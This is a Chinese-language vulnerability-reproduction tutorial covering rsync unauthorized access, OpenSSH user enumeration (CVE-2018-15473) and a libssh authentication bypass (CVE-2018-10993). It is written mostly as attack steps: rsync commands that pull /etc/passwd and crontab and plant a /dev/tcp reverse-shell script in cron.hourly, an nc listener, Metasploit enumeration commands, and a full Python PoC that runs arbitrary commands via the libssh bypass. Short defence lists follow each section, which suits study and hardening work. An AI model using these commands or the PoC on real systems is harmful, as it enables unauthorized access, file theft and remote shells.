服务攻防-应用协议rsync&ssh漏洞复现
字数 885 2025-08-10 09:43:36

应用协议漏洞复现:rsync与SSH协议安全分析

1. rsync未授权访问漏洞

1.1 rsync协议概述

  • rsync是Linux下的数据备份工具,支持通过rsync协议和SSH协议进行远程文件传输
  • 默认监听端口:873
  • 漏洞成因:服务配置不当导致未授权访问

1.2 漏洞检测

rsync rsync://目标IP:873/

1.3 漏洞利用

1.3.1 查看模块列表

rsync rsync://目标IP:873/src/

1.3.2 下载文件

rsync -av rsync://目标IP:873/src/etc/passwd ./

1.3.3 上传文件

rsync ./passwd rsync://目标IP:873/src/

1.3.4 反弹Shell利用

  1. 查看目标crontab文件:
rsync -av rsync://目标IP:873/src/etc/crontab ./
  1. 创建反弹Shell脚本(shell文件内容):
#!/bin/bash
/bin/bash -i >& /dev/tcp/攻击者IP/6666 0>&1
  1. 赋予执行权限:
chmod +x shell
  1. 上传至cron.hourly目录:
rsync -av shell rsync://目标IP:873/src/etc/cron.hourly/
  1. 本地监听:
nc -lvvp 6666

1.4 防御措施

  • 配置ACL限制访问IP
  • 设置访问密码认证
  • 限制模块访问权限

2. OpenSSH用户名枚举漏洞(CVE-2018-15473)

2.1 漏洞描述

  • 影响版本:OpenSSH 7.7之前版本
  • 漏洞类型:信息泄露
  • 漏洞效果:攻击者可枚举系统中存在的用户名

2.2 漏洞验证

  1. 使用exp工具:
python sshUsernameEnumExploit.py --port 22 --userList username.txt 目标IP
  1. 使用Metasploit框架:
msfconsole
search ssh
use auxiliary/scanner/ssh/ssh_enumusers
set rhosts 目标IP
set rport 22
set user_file "字典路径"
run

2.3 防御措施

  • 升级OpenSSH至最新版本
  • 配置Fail2Ban等防护工具
  • 限制SSH访问IP

3. libssh身份验证绕过漏洞(CVE-2018-10993)

3.1 漏洞描述

  • libssh是一个实现SSHv2协议的多平台C库
  • 漏洞位置:服务器端状态机逻辑错误
  • 漏洞效果:攻击者可在认证成功前发送MSG_USERAUTH_SUCCESS消息,绕过认证

3.2 漏洞利用(PoC)

#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging

logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048

def execute(hostname, port, command):
    sock = socket.socket()
    try:
        sock.connect((hostname, int(port)))
        message = paramiko.message.Message()
        transport = paramiko.transport.Transport(sock)
        transport.start_client()
        message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
        transport._send_message(message)
        client = transport.open_session(timeout=10)
        client.exec_command(command)
        stdout = client.makefile("rb", bufsize)
        stderr = client.makefile_stderr("rb", bufsize)
        output = stdout.read()
        error = stderr.read()
        stdout.close()
        stderr.close()
        return (output+error).decode()
    except paramiko.SSHException as e:
        logging.exception(e)
        logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
    except socket.error:
        logging.debug("Unable to connect.")
    return None

if __name__ == '__main__':
    print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))

3.3 利用示例

python libssh_poc.py 目标IP 2222 "id"
python libssh_poc.py 目标IP 2222 "whoami"
python libssh_poc.py 目标IP 2222 "touch /123.txt"
python libssh_poc.py 目标IP 2222 "ls /"

3.4 防御措施

  • 升级libssh至修复版本
  • 限制SSH服务的网络访问
  • 监控异常认证尝试

4. 总结

本文详细分析了三种常见应用协议漏洞:

  1. rsync未授权访问漏洞:由于配置不当导致文件系统完全暴露
  2. OpenSSH用户名枚举漏洞(CVE-2018-15473):允许攻击者枚举有效用户名
  3. libssh认证绕过漏洞(CVE-2018-10993):可完全绕过SSH认证机制

针对这些漏洞,管理员应:

  • 及时更新相关服务软件
  • 严格配置访问控制
  • 监控异常访问行为
  • 遵循最小权限原则配置服务
应用协议漏洞复现:rsync与SSH协议安全分析 1. rsync未授权访问漏洞 1.1 rsync协议概述 rsync是Linux下的数据备份工具,支持通过rsync协议和SSH协议进行远程文件传输 默认监听端口:873 漏洞成因:服务配置不当导致未授权访问 1.2 漏洞检测 1.3 漏洞利用 1.3.1 查看模块列表 1.3.2 下载文件 1.3.3 上传文件 1.3.4 反弹Shell利用 查看目标crontab文件: 创建反弹Shell脚本(shell文件内容): 赋予执行权限: 上传至cron.hourly目录: 本地监听: 1.4 防御措施 配置ACL限制访问IP 设置访问密码认证 限制模块访问权限 2. OpenSSH用户名枚举漏洞(CVE-2018-15473) 2.1 漏洞描述 影响版本:OpenSSH 7.7之前版本 漏洞类型:信息泄露 漏洞效果:攻击者可枚举系统中存在的用户名 2.2 漏洞验证 使用exp工具: 使用Metasploit框架: 2.3 防御措施 升级OpenSSH至最新版本 配置Fail2Ban等防护工具 限制SSH访问IP 3. libssh身份验证绕过漏洞(CVE-2018-10993) 3.1 漏洞描述 libssh是一个实现SSHv2协议的多平台C库 漏洞位置:服务器端状态机逻辑错误 漏洞效果:攻击者可在认证成功前发送MSG_ USERAUTH_ SUCCESS消息,绕过认证 3.2 漏洞利用(PoC) 3.3 利用示例 3.4 防御措施 升级libssh至修复版本 限制SSH服务的网络访问 监控异常认证尝试 4. 总结 本文详细分析了三种常见应用协议漏洞: rsync未授权访问漏洞:由于配置不当导致文件系统完全暴露 OpenSSH用户名枚举漏洞(CVE-2018-15473):允许攻击者枚举有效用户名 libssh认证绕过漏洞(CVE-2018-10993):可完全绕过SSH认证机制 针对这些漏洞,管理员应: 及时更新相关服务软件 严格配置访问控制 监控异常访问行为 遵循最小权限原则配置服务